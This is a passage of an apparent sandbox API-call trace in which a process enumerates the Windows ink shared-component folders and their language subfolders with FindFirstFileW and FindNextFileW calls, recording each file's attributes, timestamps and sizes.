ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0769b1e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4cb1e8, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0092.776] FindNextFileW (in: hFindFile=0x42604d0, lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e9592f9, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e9592f9, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e9592f9, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x4cb1e8, dwReserved1=0x2e0000, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0092.776] FindNextFileW (in: hFindFile=0x42604d0, lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e9592f9, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e9592f9, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e9592f9, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x4cb1e8, dwReserved1=0x2e0000, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0092.776] FindClose (in: hFindFile=0x42604d0 | out: hFindFile=0x42604d0) returned 1 [0092.776] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4283e78 | out: hHeap=0x440000) returned 1 [0092.776] FindNextFileW (in: hFindFile=0x4260290, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076a026, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-JP", cAlternateFileName="")) returned 1 [0092.777] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xfffe) returned 0x4283e78 [0092.777] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ja-JP\\*", lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076a026, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4cb1e8, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x4260250 [0093.102] FindNextFileW (in: hFindFile=0x4260250, lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076a026, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4cb1e8, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0093.102] FindNextFileW (in: hFindFile=0x4260250, lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e9592f9, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e9592f9, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e9592f9, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x4cb1e8, dwReserved1=0x2e0000, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0093.102] FindNextFileW (in: hFindFile=0x4260250, lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e9592f9, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e9592f9, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e9592f9, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x4cb1e8, dwReserved1=0x2e0000, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0093.102] FindClose (in: hFindFile=0x4260250 | out: hFindFile=0x4260250) returned 1 [0093.102] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4283e78 | out: hHeap=0x440000) returned 1 [0093.102] FindNextFileW (in: hFindFile=0x4260290, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076a7a6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-KR", cAlternateFileName="")) returned 1 [0093.102] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xfffe) returned 0x4283e78 [0093.102] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ko-KR\\*", lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076a7a6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4cb1e8, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x4260650 [0093.103] FindNextFileW (in: hFindFile=0x4260650, lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076a7a6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4cb1e8, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0093.103] FindNextFileW (in: hFindFile=0x4260650, lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e933091, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e933091, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e933091, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x4cb1e8, dwReserved1=0x2e0000, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0093.103] FindNextFileW (in: hFindFile=0x4260650, lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e933091, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e933091, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e933091, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x4cb1e8, dwReserved1=0x2e0000, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0093.103] FindClose (in: hFindFile=0x4260650 | out: hFindFile=0x4260650) returned 1 [0093.103] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4283e78 | out: hHeap=0x440000) returned 1 [0093.103] FindNextFileW (in: hFindFile=0x4260290, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076afd8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LanguageModel", cAlternateFileName="LANGUA~1")) returned 1 [0093.103] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xfffe) returned 0x4283e78 [0093.103] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\LanguageModel\\*", lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076afd8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4cb1e8, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x4260510 [0093.104] FindNextFileW (in: hFindFile=0x4260510, lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076afd8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4cb1e8, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0093.104] FindNextFileW (in: hFindFile=0x4260510, lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3fbc74, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3fbc74, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3fbc74, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2fb, dwReserved0=0x4cb1e8, dwReserved1=0x2e0000, cFileName="chstic.dgml", cAlternateFileName="")) returned 1 [0093.104] FindNextFileW (in: hFindFile=0x4260510, lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3fbc74, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3fbc74, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3fbc74, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2fb, dwReserved0=0x4cb1e8, dwReserved1=0x2e0000, cFileName="chstic.dgml", cAlternateFileName="")) returned 0 [0093.104] FindClose (in: hFindFile=0x4260510 | out: hFindFile=0x4260510) returned 1 [0093.104] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4283e78 | out: hHeap=0x440000) returned 1 [0093.104] FindNextFileW (in: hFindFile=0x4260290, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076b52b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lt-LT", cAlternateFileName="")) returned 1 [0093.105] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xfffe) returned 0x4283e78 [0093.105] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\lt-LT\\*", lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076b52b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4cb1e8, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x4260250 [0093.105] FindNextFileW (in: hFindFile=0x4260250, lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076b52b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4cb1e8, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0093.105] FindNextFileW (in: hFindFile=0x4260250, lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e933091, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e933091, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e933091, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x4cb1e8, dwReserved1=0x2e0000, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0093.105] FindNextFileW (in: hFindFile=0x4260250, lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e933091, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e933091, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e933091, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x4cb1e8, dwReserved1=0x2e0000, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0093.105] FindClose (in: hFindFile=0x4260250 | out: hFindFile=0x4260250) returned 1 [0093.105] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4283e78 | out: hHeap=0x440000) returned 1 [0093.106] FindNextFileW (in: hFindFile=0x4260290, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076ba6e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lv-LV", cAlternateFileName="")) returned 1 [0093.106] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xfffe) returned 0x4283e78 [0093.106] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\lv-LV\\*", lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076ba6e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4cb1e8, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x4260510 [0093.106] FindNextFileW (in: hFindFile=0x4260510, lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076ba6e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4cb1e8, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0093.106] FindNextFileW (in: hFindFile=0x4260510, lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e933091, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e933091, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e933091, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x4cb1e8, dwReserved1=0x2e0000, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0093.106] FindNextFileW (in: hFindFile=0x4260510, lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e933091, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e933091, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e933091, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x4cb1e8, dwReserved1=0x2e0000, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0093.106] FindClose (in: hFindFile=0x4260510 | out: hFindFile=0x4260510) returned 1 [0093.106] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4283e78 | out: hHeap=0x440000) returned 1 [0093.106] FindNextFileW (in: hFindFile=0x4260290, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a4376e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xd1f30e81, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd1f30e81, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x19f200, dwReserved0=0x0, dwReserved1=0x0, cFileName="micaut.dll", cAlternateFileName="")) returned 1 [0093.107] FindNextFileW (in: hFindFile=0x4260290, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x463d4edd, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0xc2004e62, ftLastAccessTime.dwHighDateTime=0x1d2fa0a, ftLastWriteTime.dwLowDateTime=0x463d4edd, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x7b000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Ink.dll", cAlternateFileName="")) returned 1 [0093.107] FindNextFileW (in: hFindFile=0x4260290, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a4376e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xd51e08b5, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd51e08b5, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x178200, dwReserved0=0x0, dwReserved1=0x0, cFileName="mip.exe", cAlternateFileName="")) returned 1 [0093.107] FindNextFileW (in: hFindFile=0x4260290, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a1d507, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xde1acd8d, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xde1acd8d, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x612e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="mraut.dll", cAlternateFileName="")) returned 1 [0093.107] FindNextFileW (in: hFindFile=0x4260290, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c3a52f7, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3c3a52f7, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3c3a52f7, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xc800, dwReserved0=0x0, dwReserved1=0x0, cFileName="mshwgst.dll", cAlternateFileName="")) returned 1 [0093.107] FindNextFileW (in: hFindFile=0x4260290, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c8ce781, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xe3805ad4, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe3805ad4, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x106a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="mshwLatin.dll", cAlternateFileName="")) returned 1 [0093.107] FindNextFileW (in: hFindFile=0x4260290, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076bff5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-NO", cAlternateFileName="")) returned 1 [0093.108] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xfffe) returned 0x4283e78 [0093.108] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\nb-NO\\*", lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076bff5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4cb1e8, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x4260250 [0093.108] FindNextFileW (in: hFindFile=0x4260250, lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076bff5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4cb1e8, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0093.108] FindNextFileW (in: hFindFile=0x4260250, lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e90ce26, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e90ce26, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e90ce26, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x4cb1e8, dwReserved1=0x2e0000, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0093.108] FindNextFileW (in: hFindFile=0x4260250, lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e90ce26, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e90ce26, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e90ce26, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x4cb1e8, dwReserved1=0x2e0000, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0093.109] FindClose (in: hFindFile=0x4260250 | out: hFindFile=0x4260250) returned 1 [0093.109] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4283e78 | out: hHeap=0x440000) returned 1 [0093.109] FindNextFileW (in: hFindFile=0x4260290, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076c75d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-NL", cAlternateFileName="")) returned 1 [0093.109] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xfffe) returned 0x4283e78 [0093.109] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\nl-NL\\*", lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076c75d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4cb1e8, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x4260810 [0093.110] FindNextFileW (in: hFindFile=0x4260810, lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076c75d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4cb1e8, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0093.110] FindNextFileW (in: hFindFile=0x4260810, lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x20, 